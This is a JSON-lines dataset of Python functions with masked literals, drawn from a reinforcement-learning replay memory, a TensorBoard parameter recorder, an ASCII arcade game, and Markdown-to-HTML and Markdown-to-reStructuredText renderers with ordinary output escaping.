{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>internals,<EOL>actions,<EOL>include_next_states,<EOL>capacity,<EOL>prioritization_weight=<NUM_LIT:1.0>,<EOL>buffer_size=<NUM_LIT:100>,<EOL>scope='<STR_LIT>',<EOL>summary_labels=None<EOL>):", "body": "self.capacity = capacity<EOL>self.buffer_size = buffer_size<EOL>self.prioritization_weight = prioritization_weight<EOL>self.retrieve_indices = None<EOL>self.states_memory = dict()<EOL>self.internals_memory = dict()<EOL>self.actions_memory = dict()<EOL>self.terminal_memory = None<EOL>self.reward_memory = None<EOL>self.memory_index = None<EOL>self.priorities = None<EOL>self.buffer_index = None<EOL>self.states_buffer = dict()<EOL>self.internals_buffer = dict()<EOL>self.actions_buffer = dict()<EOL>self.terminal_buffer = None<EOL>self.reward_buffer = None<EOL>self.batch_indices = None<EOL>self.last_batch_buffer_elems = None<EOL>self.memory_size = None<EOL>super(PrioritizedReplay, self).__init__(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>include_next_states=include_next_states,<EOL>scope=scope,<EOL>summary_labels=summary_labels<EOL>)<EOL>", "docstring": "Prioritized experience replay.\n\nArgs:\n    states: States specification.\n    internals: Internal states specification.\n    actions: Actions specification.\n    include_next_states: Include subsequent state if true.\n    capacity: Memory capacity.\n    prioritization_weight: Prioritization weight.\n    buffer_size: Buffer size. The buffer is used to insert experiences before experiences\n        have been computed via updates. Note that if the buffer is to small in comparison\n        to the frequency with which updates are performed, old experiences from the buffer\n        will be overwritten before they are moved to the main memory.", "id": "f14360:c0:m0"}
{"signature": "def tf_retrieve_indices(self, buffer_elements, priority_indices):", "body": "states = dict()<EOL>buffer_start = self.buffer_index - buffer_elements<EOL>buffer_end = self.buffer_index<EOL>for name in sorted(self.states_memory):<EOL><INDENT>buffer_state_memory = self.states_buffer[name]<EOL>buffer_states = buffer_state_memory[buffer_start:buffer_end]<EOL>memory_states = tf.gather(params=self.states_memory[name], indices=priority_indices)<EOL>states[name] = tf.concat(values=(buffer_states, memory_states), axis=<NUM_LIT:0>)<EOL><DEDENT>internals = dict()<EOL>for name in sorted(self.internals_memory):<EOL><INDENT>internal_buffer_memory = self.internals_buffer[name]<EOL>buffer_internals = internal_buffer_memory[buffer_start:buffer_end]<EOL>memory_internals = tf.gather(params=self.internals_memory[name], indices=priority_indices)<EOL>internals[name] = tf.concat(values=(buffer_internals, memory_internals), axis=<NUM_LIT:0>)<EOL><DEDENT>actions = dict()<EOL>for name in sorted(self.actions_memory):<EOL><INDENT>action_buffer_memory = self.actions_buffer[name]<EOL>buffer_action = action_buffer_memory[buffer_start:buffer_end]<EOL>memory_action = tf.gather(params=self.actions_memory[name], indices=priority_indices)<EOL>actions[name] = tf.concat(values=(buffer_action, memory_action), axis=<NUM_LIT:0>)<EOL><DEDENT>buffer_terminal = self.terminal_buffer[buffer_start:buffer_end]<EOL>priority_terminal = tf.gather(params=self.terminal_memory, indices=priority_indices)<EOL>terminal = tf.concat(values=(buffer_terminal, priority_terminal), axis=<NUM_LIT:0>)<EOL>buffer_reward = self.reward_buffer[buffer_start:buffer_end]<EOL>priority_reward = tf.gather(params=self.reward_memory, indices=priority_indices)<EOL>reward = tf.concat(values=(buffer_reward, priority_reward), axis=<NUM_LIT:0>)<EOL>if self.include_next_states:<EOL><INDENT>assert util.rank(priority_indices) == <NUM_LIT:1><EOL>next_priority_indices = (priority_indices + <NUM_LIT:1>) % self.capacity<EOL>next_buffer_start = (buffer_start + <NUM_LIT:1>) % self.buffer_size<EOL>next_buffer_end = (buffer_end + <NUM_LIT:1>) % self.buffer_size<EOL>next_states = dict()<EOL>for name in sorted(self.states_memory):<EOL><INDENT>buffer_state_memory = self.states_buffer[name]<EOL>buffer_next_states = buffer_state_memory[next_buffer_start:next_buffer_end]<EOL>memory_next_states = tf.gather(params=self.states_memory[name], indices=next_priority_indices)<EOL>next_states[name] = tf.concat(values=(buffer_next_states, memory_next_states), axis=<NUM_LIT:0>)<EOL><DEDENT>next_internals = dict()<EOL>for name in sorted(self.internals_memory):<EOL><INDENT>buffer_internal_memory = self.internals_buffer[name]<EOL>buffer_next_internals = buffer_internal_memory[next_buffer_start:next_buffer_end]<EOL>memory_next_internals = tf.gather(params=self.internals_memory[name], indices=next_priority_indices)<EOL>next_internals[name] = tf.concat(values=(buffer_next_internals, memory_next_internals), axis=<NUM_LIT:0>)<EOL><DEDENT>return dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>", "docstring": "Fetches experiences for given indices by combining entries from buffer\nwhich have no priorities, and entries from priority memory.\n\nArgs:\n    buffer_elements: Number of buffer elements to retrieve\n    priority_indices: Index tensor for priority memory\n\nReturns: Batch of experiences", "id": "f14360:c0:m5"}
{"signature": "def tf_update_batch(self, loss_per_instance):", "body": "<EOL>mask = tf.not_equal(<EOL>x=self.batch_indices,<EOL>y=tf.zeros(shape=tf.shape(input=self.batch_indices), dtype=tf.int32)<EOL>)<EOL>priority_indices = tf.reshape(tensor=tf.where(condition=mask), shape=[-<NUM_LIT:1>])<EOL>sampled_buffer_batch = self.tf_retrieve_indices(<EOL>buffer_elements=self.last_batch_buffer_elems,<EOL>priority_indices=priority_indices<EOL>)<EOL>states = sampled_buffer_batch['<STR_LIT>']<EOL>internals = sampled_buffer_batch['<STR_LIT>']<EOL>actions = sampled_buffer_batch['<STR_LIT>']<EOL>terminal = sampled_buffer_batch['<STR_LIT>']<EOL>reward = sampled_buffer_batch['<STR_LIT>']<EOL>priorities = loss_per_instance ** self.prioritization_weight<EOL>assignments = list()<EOL>memory_end_index = self.memory_index + self.last_batch_buffer_elems<EOL>memory_insert_indices = tf.range(<EOL>start=self.memory_index,<EOL>limit=memory_end_index<EOL>) % self.capacity<EOL>for name in sorted(states):<EOL><INDENT>assignments.append(tf.scatter_update(<EOL>ref=self.states_memory[name],<EOL>indices=memory_insert_indices,<EOL>updates=states[name][<NUM_LIT:0>:self.last_batch_buffer_elems])<EOL>)<EOL><DEDENT>for name in sorted(internals):<EOL><INDENT>assignments.append(tf.scatter_update(<EOL>ref=self.internals_buffer[name],<EOL>indices=memory_insert_indices,<EOL>updates=internals[name][<NUM_LIT:0>:self.last_batch_buffer_elems]<EOL>))<EOL><DEDENT>assignments.append(tf.scatter_update(<EOL>ref=self.priorities,<EOL>indices=memory_insert_indices,<EOL>updates=priorities[<NUM_LIT:0>:self.last_batch_buffer_elems]<EOL>))<EOL>assignments.append(tf.scatter_update(<EOL>ref=self.terminal_memory,<EOL>indices=memory_insert_indices,<EOL>updates=terminal[<NUM_LIT:0>:self.last_batch_buffer_elems])<EOL>)<EOL>assignments.append(tf.scatter_update(<EOL>ref=self.reward_memory,<EOL>indices=memory_insert_indices,<EOL>updates=reward[<NUM_LIT:0>:self.last_batch_buffer_elems])<EOL>)<EOL>for name in sorted(actions):<EOL><INDENT>assignments.append(tf.scatter_update(<EOL>ref=self.actions_memory[name],<EOL>indices=memory_insert_indices,<EOL>updates=actions[name][<NUM_LIT:0>:self.last_batch_buffer_elems]<EOL>))<EOL><DEDENT>main_memory_priorities = priorities[self.last_batch_buffer_elems:]<EOL>main_memory_priorities = main_memory_priorities[<NUM_LIT:0>:tf.shape(priority_indices)[<NUM_LIT:0>]]<EOL>assignments.append(tf.scatter_update(<EOL>ref=self.priorities,<EOL>indices=priority_indices,<EOL>updates=main_memory_priorities<EOL>))<EOL>with tf.control_dependencies(control_inputs=assignments):<EOL><INDENT>assignments = list()<EOL>sorted_priorities, sorted_indices = tf.nn.top_k(<EOL>input=self.priorities,<EOL>k=self.capacity,<EOL>sorted=True<EOL>)<EOL>assignments.append(tf.assign(ref=self.priorities, value=sorted_priorities))<EOL>assignments.append(tf.scatter_update(<EOL>ref=self.terminal_memory,<EOL>indices=sorted_indices,<EOL>updates=self.terminal_memory<EOL>))<EOL>for name in sorted(self.states_memory):<EOL><INDENT>assignments.append(tf.scatter_update(<EOL>ref=self.states_memory[name],<EOL>indices=sorted_indices,<EOL>updates=self.states_memory[name]<EOL>))<EOL><DEDENT>for name in sorted(self.actions_memory):<EOL><INDENT>assignments.append(tf.scatter_update(<EOL>ref=self.actions_memory[name],<EOL>indices=sorted_indices,<EOL>updates=self.actions_memory[name]<EOL>))<EOL><DEDENT>for name in sorted(self.internals_memory):<EOL><INDENT>assignments.append(tf.scatter_update(<EOL>ref=self.internals_memory[name],<EOL>indices=sorted_indices,<EOL>updates=self.internals_memory[name]<EOL>))<EOL><DEDENT>assignments.append(tf.scatter_update(<EOL>ref=self.reward_memory,<EOL>indices=sorted_indices,<EOL>updates=self.reward_memory<EOL>))<EOL><DEDENT>with tf.control_dependencies(control_inputs=assignments):<EOL><INDENT>assignments = list()<EOL>assignments.append(tf.assign_sub(ref=self.buffer_index, value=self.last_batch_buffer_elems))<EOL>total_inserted_elements = self.memory_size + self.last_batch_buffer_elems<EOL>assignments.append(tf.assign(<EOL>ref=self.memory_size,<EOL>value=tf.minimum(x=total_inserted_elements, y=self.capacity))<EOL>)<EOL>assignments.append(tf.assign(ref=self.memory_index, value=memory_end_index))<EOL>assignments.append(tf.assign(<EOL>ref=self.batch_indices,<EOL>value=tf.zeros(shape=tf.shape(self.batch_indices), dtype=tf.int32)<EOL>))<EOL><DEDENT>with tf.control_dependencies(control_inputs=assignments):<EOL><INDENT>return tf.no_op()<EOL><DEDENT>", "docstring": "Updates priority memory by performing the following steps:\n\n1. Use saved indices from prior retrieval to reconstruct the batch\nelements which will have their priorities updated.\n2. Compute priorities for these elements.\n3. Insert buffer elements to memory, potentially overwriting existing elements.\n4. Update priorities of existing memory elements\n5. Resort memory.\n6. Update buffer insertion index.\n\nNote that this implementation could be made more efficient by maintaining\na sorted version via sum trees.\n\n:param loss_per_instance: Losses from recent batch to perform priority update", "id": "f14360:c0:m6"}
{"signature": "def __init__(self, current_frame):", "body": "self.ignore_unknown_dtypes = False<EOL>self.meta_params = dict()<EOL>self.method_calling = inspect.getframeinfo(current_frame)[<NUM_LIT:2>]<EOL>_, _, __, self.vals_current = inspect.getargvalues(current_frame)<EOL>if '<STR_LIT>' in self.vals_current:<EOL><INDENT>self.recorded_class_type = self.vals_current['<STR_LIT>']<EOL>self.meta_params['<STR_LIT>'] = str(self.vals_current['<STR_LIT>'])<EOL><DEDENT>frame_list = inspect.getouterframes(current_frame)<EOL>for frame in frame_list:<EOL><INDENT>args, varargs, keywords, vals = inspect.getargvalues(frame[<NUM_LIT:0>])<EOL>if '<STR_LIT>' in vals:<EOL><INDENT>if self.recorded_class_type == vals['<STR_LIT>']:<EOL><INDENT>for i in args:<EOL><INDENT>self.meta_params[i] = vals[i]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>del self.meta_params['<STR_LIT>']<EOL>", "docstring": "Init the MetaPrameterRecord with \"Agent\" parameters by passing inspect.currentframe() from Agent Class.\n\nThe Init will search back to find the parent class to capture all passed parameters and store\nthem in \"self.meta_params\".\n\nNOTE: Currently only optimized for TensorBoard output.\n\nTODO: Add JSON Export, TEXT EXPORT\n\nArgs:\n    current_frame: Frame value from class to obtain metaparameters[= inspect.currentframe()]", "id": "f14363:c0:m0"}
{"signature": "def build_metagraph_list(self):", "body": "ops = []<EOL>self.ignore_unknown_dtypes = True<EOL>for key in sorted(self.meta_params):<EOL><INDENT>value = self.convert_data_to_string(self.meta_params[key])<EOL>if len(value) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if isinstance(value, str):<EOL><INDENT>ops.append(tf.contrib.summary.generic(name=key, tensor=tf.convert_to_tensor(str(value))))<EOL><DEDENT>else:<EOL><INDENT>ops.append(tf.contrib.summary.generic(name=key, tensor=tf.as_string(tf.convert_to_tensor(value))))<EOL><DEDENT><DEDENT>return ops<EOL>", "docstring": "Convert MetaParams into TF Summary Format and create summary_op.\n\nReturns:\n    Merged TF Op for TEXT summary elements, should only be executed once to reduce data duplication.", "id": "f14363:c0:m7"}
{"signature": "def make_game():", "body": "return ascii_art.ascii_art_to_game(<EOL>GAME_ART, what_lies_beneath='<STR_LIT:U+0020>',<EOL>sprites=dict(<EOL>[('<STR_LIT:P>', PlayerSprite)] +<EOL>[(c, UpwardLaserBoltSprite) for c in UPWARD_BOLT_CHARS] +<EOL>[(c, DownwardLaserBoltSprite) for c in DOWNWARD_BOLT_CHARS]),<EOL>drapes=dict(X=MarauderDrape,<EOL>B=BunkerDrape),<EOL>update_schedule=['<STR_LIT:P>', '<STR_LIT:B>', '<STR_LIT:X>'] + list(_ALL_BOLT_CHARS))<EOL>", "docstring": "Builds and returns an Extraterrestrial Marauders game.", "id": "f14375:m0"}
{"signature": "def __init__(self, corner, position, character):", "body": "super(PlayerSprite, self).__init__(<EOL>corner, position, character, impassable='<STR_LIT>', confined_to_board=True)<EOL>", "docstring": "Simply indicates to the superclass that we can't walk off the board.", "id": "f14375:c2:m0"}
{"signature": "def __init__(self, corner, position, character):", "body": "super(UpwardLaserBoltSprite, self).__init__(<EOL>corner, position, character, impassable='<STR_LIT>')<EOL>self._teleport((-<NUM_LIT:1>, -<NUM_LIT:1>))<EOL>", "docstring": "Starts the Sprite in a hidden position off of the board.", "id": "f14375:c3:m0"}
{"signature": "def _fly(self, board, layers, things, the_plot):", "body": "<EOL>if (self.character in the_plot['<STR_LIT>'] or<EOL>self.character in the_plot['<STR_LIT>']):<EOL><INDENT>return self._teleport((-<NUM_LIT:1>, -<NUM_LIT:1>))<EOL><DEDENT>self._north(board, the_plot)<EOL>", "docstring": "Handles the behaviour of visible bolts flying toward Marauders.", "id": "f14375:c3:m2"}
{"signature": "def _fire(self, layers, things, the_plot):", "body": "<EOL>if the_plot.get('<STR_LIT>') == the_plot.frame: return<EOL>the_plot['<STR_LIT>'] = the_plot.frame<EOL>row, col = things['<STR_LIT:P>'].position<EOL>self._teleport((row-<NUM_LIT:1>, col))<EOL>", "docstring": "Launches a new bolt from the player.", "id": "f14375:c3:m3"}
{"signature": "def __init__(self, corner, position, character):", "body": "super(DownwardLaserBoltSprite, self).__init__(<EOL>corner, position, character, impassable='<STR_LIT>')<EOL>self._teleport((-<NUM_LIT:1>, -<NUM_LIT:1>))<EOL>", "docstring": "Starts the Sprite in a hidden position off of the board.", "id": "f14375:c4:m0"}
{"signature": "def _fly(self, board, layers, things, the_plot):", "body": "<EOL>if self.character in the_plot['<STR_LIT>']:<EOL><INDENT>return self._teleport((-<NUM_LIT:1>, -<NUM_LIT:1>))<EOL><DEDENT>if self.position == things['<STR_LIT:P>'].position: the_plot.terminate_episode()<EOL>self._south(board, the_plot)<EOL>", "docstring": "Handles the behaviour of visible bolts flying toward the player.", "id": "f14375:c4:m2"}
{"signature": "def _fire(self, layers, the_plot):", "body": "<EOL>if the_plot.get('<STR_LIT>') == the_plot.frame: return<EOL>the_plot['<STR_LIT>'] = the_plot.frame<EOL>col = np.random.choice(np.nonzero(layers['<STR_LIT:X>'].sum(axis=<NUM_LIT:0>))[<NUM_LIT:0>])<EOL>row = np.nonzero(layers['<STR_LIT:X>'][:, col])[<NUM_LIT:0>][-<NUM_LIT:1>] + <NUM_LIT:1><EOL>self._teleport((row, col))<EOL>", "docstring": "Launches a new bolt from a random Marauder.", "id": "f14375:c4:m3"}
{"signature": "def escape(text, quote=False, smart_amp=True):", "body": "if smart_amp:<EOL><INDENT>text = _escape_pattern.sub('<STR_LIT>', text)<EOL><DEDENT>else:<EOL><INDENT>text = text.replace('<STR_LIT:&>', '<STR_LIT>')<EOL><DEDENT>text = text.replace('<STR_LIT:<>', '<STR_LIT>')<EOL>text = text.replace('<STR_LIT:>>', '<STR_LIT>')<EOL>if quote:<EOL><INDENT>text = text.replace('<STR_LIT:\">', '<STR_LIT>')<EOL>text = text.replace(\"<STR_LIT:'>\", '<STR_LIT>')<EOL><DEDENT>return text<EOL>", "docstring": "Replace special characters \"&\", \"<\" and \">\" to HTML-safe sequences.\n\n    The original cgi.escape will always escape \"&\", but you can control\n    this one for a smart escape amp.\n\n    :param quote: if set to True, \" and ' will be escaped.\n    :param smart_amp: if set to False, & will always be escaped.", "id": "f14379:m2"}
{"signature": "def escape_link(url):", "body": "lower_url = url.lower().strip('<STR_LIT>')<EOL>for scheme in _scheme_blacklist:<EOL><INDENT>if lower_url.startswith(scheme):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>return escape(url, quote=True, smart_amp=False)<EOL>", "docstring": "Remove dangerous URL schemes like javascript: and escape afterwards.", "id": "f14379:m3"}
{"signature": "def markdown(text, escape=True, **kwargs):", "body": "return Markdown(escape=escape, **kwargs)(text)<EOL>", "docstring": "Render markdown formatted text to html.\n\n    :param text: markdown formatted text content.\n    :param escape: if set to False, all html tags will not be escaped.\n    :param use_xhtml: output with xhtml tags.\n    :param hard_wrap: if set to True, it will use the GFM line breaks feature.\n    :param parse_block_html: parse text only in block level html.\n    :param parse_inline_html: parse text only in inline level html.", "id": "f14379:m5"}
{"signature": "def parse_lheading(self, m):", "body": "self.tokens.append({<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:1> if m.group(<NUM_LIT:2>) == '<STR_LIT:=>' else <NUM_LIT:2>,<EOL>'<STR_LIT:text>': m.group(<NUM_LIT:1>),<EOL>})<EOL>", "docstring": "Parse setext heading.", "id": "f14379:c1:m7"}
{"signature": "def hard_wrap(self):", "body": "self.linebreak = re.compile(r'<STR_LIT>')<EOL>self.text = re.compile(<EOL>r'<STR_LIT>'<EOL>)<EOL>", "docstring": "Grammar for hard wrap linebreak. You don't need to add two\n        spaces at the end of a line.", "id": "f14379:c2:m0"}
{"signature": "def placeholder(self):", "body": "return '<STR_LIT>'<EOL>", "docstring": "Returns the default, empty output value for the renderer.\n\n        All renderer methods use the '+=' operator to append to this value.\n        Default is a string so rendering HTML can build up a result string with\n        the rendered Markdown.\n\n        Can be overridden by Renderer subclasses to be types like an empty\n        list, allowing the renderer to create a tree-like structure to\n        represent the document (which can then be reprocessed later into a\n        separate format like docx or pdf).", "id": "f14379:c4:m1"}
{"signature": "def block_code(self, code, lang=None):", "body": "code = code.rstrip('<STR_LIT:\\n>')<EOL>if not lang:<EOL><INDENT>code = escape(code, smart_amp=False)<EOL>return '<STR_LIT>' % code<EOL><DEDENT>code = escape(code, quote=True, smart_amp=False)<EOL>return '<STR_LIT>' % (lang, code)<EOL>", "docstring": "Rendering block level code. ``pre > code``.\n\n        :param code: text content of the code block.\n        :param lang: language of the given code.", "id": "f14379:c4:m2"}
{"signature": "def block_quote(self, text):", "body": "return '<STR_LIT>' % text.rstrip('<STR_LIT:\\n>')<EOL>", "docstring": "Rendering <blockquote> with the given text.\n\n        :param text: text content of the blockquote.", "id": "f14379:c4:m3"}
{"signature": "def block_html(self, html):", "body": "if self.options.get('<STR_LIT>') andhtml.lower().startswith('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if self.options.get('<STR_LIT>'):<EOL><INDENT>return escape(html)<EOL><DEDENT>return html<EOL>", "docstring": "Rendering block level pure html content.\n\n        :param html: text content of the html snippet.", "id": "f14379:c4:m4"}
{"signature": "def header(self, text, level, raw=None):", "body": "return '<STR_LIT>' % (level, text, level)<EOL>", "docstring": "Rendering header/heading tags like ``<h1>`` ``<h2>``.\n\n        :param text: rendered text content for the header.\n        :param level: a number for the header level, for example: 1.\n        :param raw: raw text content of the header.", "id": "f14379:c4:m5"}
{"signature": "def hrule(self):", "body": "if self.options.get('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Rendering method for ``<hr>`` tag.", "id": "f14379:c4:m6"}
{"signature": "def list(self, body, ordered=True):", "body": "tag = '<STR_LIT>'<EOL>if ordered:<EOL><INDENT>tag = '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>' % (tag, body, tag)<EOL>", "docstring": "Rendering list tags like ``<ul>`` and ``<ol>``.\n\n        :param body: body contents of the list.\n        :param ordered: whether this list is ordered or not.", "id": "f14379:c4:m7"}
{"signature": "def list_item(self, text):", "body": "return '<STR_LIT>' % text<EOL>", "docstring": "Rendering list item snippet. Like ``<li>``.", "id": "f14379:c4:m8"}
{"signature": "def paragraph(self, text):", "body": "return '<STR_LIT>' % text.strip('<STR_LIT:U+0020>')<EOL>", "docstring": "Rendering paragraph tags. Like ``<p>``.", "id": "f14379:c4:m9"}
{"signature": "def table(self, header, body):", "body": "return (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>) % (header, body)<EOL>", "docstring": "Rendering table element. Wrap header and body in it.\n\n        :param header: header part of the table.\n        :param body: body part of the table.", "id": "f14379:c4:m10"}
{"signature": "def table_row(self, content):", "body": "return '<STR_LIT>' % content<EOL>", "docstring": "Rendering a table row. Like ``<tr>``.\n\n        :param content: content of current table row.", "id": "f14379:c4:m11"}
{"signature": "def table_cell(self, content, **flags):", "body": "if flags['<STR_LIT>']:<EOL><INDENT>tag = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>tag = '<STR_LIT>'<EOL><DEDENT>align = flags['<STR_LIT>']<EOL>if not align:<EOL><INDENT>return '<STR_LIT>' % (tag, content, tag)<EOL><DEDENT>return '<STR_LIT>' % (<EOL>tag, align, content, tag<EOL>)<EOL>", "docstring": "Rendering a table cell. Like ``<th>`` ``<td>``.\n\n        :param content: content of current table cell.\n        :param header: whether this is header or not.\n        :param align: align of current table cell.", "id": "f14379:c4:m12"}
{"signature": "def double_emphasis(self, text):", "body": "return '<STR_LIT>' % text<EOL>", "docstring": "Rendering **strong** text.\n\n        :param text: text content for emphasis.", "id": "f14379:c4:m13"}
{"signature": "def emphasis(self, text):", "body": "return '<STR_LIT>' % text<EOL>", "docstring": "Rendering *emphasis* text.\n\n        :param text: text content for emphasis.", "id": "f14379:c4:m14"}
{"signature": "def codespan(self, text):", "body": "text = escape(text.rstrip(), smart_amp=False)<EOL>return '<STR_LIT>' % text<EOL>", "docstring": "Rendering inline `code` text.\n\n        :param text: text content for inline code.", "id": "f14379:c4:m15"}
{"signature": "def linebreak(self):", "body": "if self.options.get('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Rendering line break like ``<br>``.", "id": "f14379:c4:m16"}
{"signature": "def strikethrough(self, text):", "body": "return '<STR_LIT>' % text<EOL>", "docstring": "Rendering ~~strikethrough~~ text.\n\n        :param text: text content for strikethrough.", "id": "f14379:c4:m17"}
{"signature": "def text(self, text):", "body": "if self.options.get('<STR_LIT>'):<EOL><INDENT>return text<EOL><DEDENT>return escape(text)<EOL>", "docstring": "Rendering unformatted text.\n\n        :param text: text content.", "id": "f14379:c4:m18"}
{"signature": "def escape(self, text):", "body": "return escape(text)<EOL>", "docstring": "Rendering escape sequence.\n\n        :param text: text content.", "id": "f14379:c4:m19"}
{"signature": "def autolink(self, link, is_email=False):", "body": "text = link = escape(link)<EOL>if is_email:<EOL><INDENT>link = '<STR_LIT>' % link<EOL><DEDENT>return '<STR_LIT>' % (link, text)<EOL>", "docstring": "Rendering a given link or email address.\n\n        :param link: link content or email address.\n        :param is_email: whether this is an email or not.", "id": "f14379:c4:m20"}
{"signature": "def link(self, link, title, text):", "body": "link = escape_link(link)<EOL>if not title:<EOL><INDENT>return '<STR_LIT>' % (link, text)<EOL><DEDENT>title = escape(title, quote=True)<EOL>return '<STR_LIT>' % (link, title, text)<EOL>", "docstring": "Rendering a given link with content and title.\n\n        :param link: href link for ``<a>`` tag.\n        :param title: title content for `title` attribute.\n        :param text: text content for description.", "id": "f14379:c4:m21"}
{"signature": "def image(self, src, title, text):", "body": "src = escape_link(src)<EOL>text = escape(text, quote=True)<EOL>if title:<EOL><INDENT>title = escape(title, quote=True)<EOL>html = '<STR_LIT>' % (src, text, title)<EOL><DEDENT>else:<EOL><INDENT>html = '<STR_LIT>' % (src, text)<EOL><DEDENT>if self.options.get('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>' % html<EOL><DEDENT>return '<STR_LIT>' % html<EOL>", "docstring": "Rendering a image with title and text.\n\n        :param src: source link of the image.\n        :param title: title text of the image.\n        :param text: alt text of the image.", "id": "f14379:c4:m22"}
{"signature": "def inline_html(self, html):", "body": "if self.options.get('<STR_LIT>'):<EOL><INDENT>return escape(html)<EOL><DEDENT>return html<EOL>", "docstring": "Rendering span level pure html content.\n\n        :param html: text content of the html snippet.", "id": "f14379:c4:m23"}
{"signature": "def newline(self):", "body": "return '<STR_LIT>'<EOL>", "docstring": "Rendering newline element.", "id": "f14379:c4:m24"}
{"signature": "def footnote_ref(self, key, index):", "body": "html = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>) % (escape(key), escape(key), index)<EOL>return html<EOL>", "docstring": "Rendering the ref anchor of a footnote.\n\n        :param key: identity key for the footnote.\n        :param index: the index count of current footnote.", "id": "f14379:c4:m25"}
{"signature": "def footnote_item(self, key, text):", "body": "back = (<EOL>'<STR_LIT>'<EOL>) % escape(key)<EOL>text = text.rstrip()<EOL>if text.endswith('<STR_LIT>'):<EOL><INDENT>text = re.sub(r'<STR_LIT>', r'<STR_LIT>' % back, text)<EOL><DEDENT>else:<EOL><INDENT>text = '<STR_LIT>' % (text, back)<EOL><DEDENT>html = '<STR_LIT>' % (escape(key), text)<EOL>return html<EOL>", "docstring": "Rendering a footnote item.\n\n        :param key: identity key for the footnote.\n        :param text: text content of the footnote.", "id": "f14379:c4:m26"}
{"signature": "def footnotes(self, text):", "body": "html = '<STR_LIT>'<EOL>return html % (self.hrule(), text)<EOL>", "docstring": "Wrapper for all footnotes.\n\n        :param text: contents of all footnotes.", "id": "f14379:c4:m27"}
{"signature": "def render(self, text):", "body": "return self.parse(text)<EOL>", "docstring": "Render the Markdown text.\n\n        :param text: markdown formatted text content.", "id": "f14379:c5:m2"}
{"signature": "def process_docstring(app, what, name, obj, options, lines):", "body": "markdown = \"<STR_LIT:\\n>\".join(lines)<EOL>rest = m2r(markdown)<EOL>rest.replace(\"<STR_LIT:\\r\\n>\", \"<STR_LIT:\\n>\")<EOL>del lines[:]<EOL>lines.extend(rest.split(\"<STR_LIT:\\n>\"))<EOL>", "docstring": "Enable markdown syntax in docstrings", "id": "f14380:m0"}
{"signature": "def setup(app):", "body": "global _is_sphinx<EOL>_is_sphinx = True<EOL>app.add_config_value('<STR_LIT>', False, '<STR_LIT>')<EOL>app.add_source_parser('<STR_LIT>', M2RParser)<EOL>app.add_directive('<STR_LIT>', MdInclude)<EOL>", "docstring": "When used for spinx extension.", "id": "f14381:m1"}
{"signature": "def output_image_link(self, m):", "body": "return self.renderer.image_link(<EOL>m.group('<STR_LIT:url>'), m.group('<STR_LIT:target>'), m.group('<STR_LIT>'))<EOL>", "docstring": "Pass through rest role.", "id": "f14381:c3:m3"}
{"signature": "def output_rest_role(self, m):", "body": "return self.renderer.rest_role(m.group(<NUM_LIT:0>))<EOL>", "docstring": "Pass through rest role.", "id": "f14381:c3:m4"}
{"signature": "def output_rest_link(self, m):", "body": "return self.renderer.rest_link(m.group(<NUM_LIT:0>))<EOL>", "docstring": "Pass through rest link.", "id": "f14381:c3:m5"}
{"signature": "def output_inline_math(self, m):", "body": "return self.renderer.inline_math(m.group(<NUM_LIT:1>))<EOL>", "docstring": "Pass through rest link.", "id": "f14381:c3:m6"}
{"signature": "def output_eol_literal_marker(self, m):", "body": "marker = '<STR_LIT::>' if m.group(<NUM_LIT:1>) is None else '<STR_LIT>'<EOL>return self.renderer.eol_literal_marker(marker)<EOL>", "docstring": "Pass through rest link.", "id": "f14381:c3:m7"}
{"signature": "def block_html(self, html):", "body": "return '<STR_LIT>' + self._indent_block(html) + '<STR_LIT>'<EOL>", "docstring": "Rendering block level pure html content.\n\n        :param html: text content of the html snippet.", "id": "f14381:c4:m4"}
{"signature": "def header(self, text, level, raw=None):", "body": "return '<STR_LIT>'.format(text, self.hmarks[level] * len(text))<EOL>", "docstring": "Rendering header/heading tags like ``<h1>`` ``<h2>``.\n\n        :param text: rendered text content for the header.\n        :param level: a number for the header level, for example: 1.\n        :param raw: raw text content of the header.", "id": "f14381:c4:m5"}
{"signature": "def hrule(self):", "body": "return '<STR_LIT>'<EOL>", "docstring": "Rendering method for ``<hr>`` tag.", "id": "f14381:c4:m6"}
{"signature": "def list(self, body, ordered=True):", "body": "mark = '<STR_LIT>' if ordered else '<STR_LIT>'<EOL>lines = body.splitlines()<EOL>for i, line in enumerate(lines):<EOL><INDENT>if line and not line.startswith(self.list_marker):<EOL><INDENT>lines[i] = '<STR_LIT:U+0020>' * len(mark) + line<EOL><DEDENT><DEDENT>return '<STR_LIT>'.format(<EOL>'<STR_LIT:\\n>'.join(lines)).replace(self.list_marker, mark)<EOL>", "docstring": "Rendering list tags like ``<ul>`` and ``<ol>``.\n\n        :param body: body contents of the list.\n        :param ordered: whether this list is ordered or not.", "id": "f14381:c4:m7"}
{"signature": "def list_item(self, text):", "body": "return '<STR_LIT:\\n>' + self.list_marker + text<EOL>", "docstring": "Rendering list item snippet. Like ``<li>``.", "id": "f14381:c4:m8"}
{"signature": "def paragraph(self, text):", "body": "return '<STR_LIT:\\n>' + text + '<STR_LIT:\\n>'<EOL>", "docstring": "Rendering paragraph tags. Like ``<p>``.", "id": "f14381:c4:m9"}
